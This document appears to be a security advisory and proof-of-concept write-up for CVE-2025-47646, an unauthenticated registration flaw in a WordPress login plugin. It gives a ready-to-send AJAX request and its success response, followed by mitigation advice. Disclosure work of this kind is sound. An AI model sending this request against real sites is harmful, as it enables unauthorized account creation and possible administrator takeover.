# π CVE-2025-47646 β PSW Front-end Login & Registration <= 1.12 ## π Plugin Information - **Plugin**: PSW Front-end Login & Registration - **Vulnerable Version**: <= 1.12 - **CVE**: CVE-2025-47646 - **Severity**: High (CVSS 9.8) - **Vulnerability Type**: Broken Authentication - **Privilege Required**: Unauthenticated - **Patched**: β No official fix available - **Patch Priority**: π΄ High - **Date Published**: 08 May 2025 --- ## β οΈ Summary of the Vulnerability This plugin exposes a critical flaw in its registration mechanism. While offering a shortcode-based front-end registration form (`[psw_registration]`), it fails to enforce proper role restrictions or secure validation. Attackers can exploit this mechanism to create accounts without authentication β and if the site's `default_role` is misconfigured (e.g., set to `administrator`), a full privilege escalation can occur. --- ## π§ͺ Proof of Concept (PoC) ### β **Target endpoint**: ``` POST /wordpress/wp-admin/admin-ajax.php ``` ### π₯ **Request** (e.g., via Burp Suite or curl): ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {Host} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 233 Origin: {Host} Connection: keep-alive Cookie: Priority: u=0 first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d ``` > `psw_form` is the nonce field required for the request to pass. > This nonce is dynamically generated from the `[psw_registration]` shortcode on the front-end. --- ### β **Success Response** ```http HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8
Thanks for creating an account on our website. Please check your email for activation link...
``` --- ## π οΈ Whereβs the flaw? - The plugin allows **unauthenticated AJAX access** to `register_user_front_end` - It **respects `default_role`** setting in WordPress to assign user roles - If this is misconfigured (`administrator`), the attacker gets full access - There is **no hard-coded role enforcement or validation** in the plugin logic --- ## π¬ Shortcode Explanation To expose the registration form and generate a valid nonce for `psw_form`, the following shortcode is used: ```php [psw_registration] ``` This renders a registration form that includes the hidden nonce field necessary to make the AJAX call succeed. --- ## π Recommendation - Restrict unauthenticated AJAX registration - Enforce role assignments server-side - Monitor and lock `default_role` to a safe value (e.g., `subscriber`) - Apply virtual patching if no update is available --- ## β οΈ Disclaimer This report is for **educational and authorized security testing purposes only**. Exploitation of this vulnerability without permission may violate legal and ethical boundaries. --- *NXploited (Khaled_Alenazi)*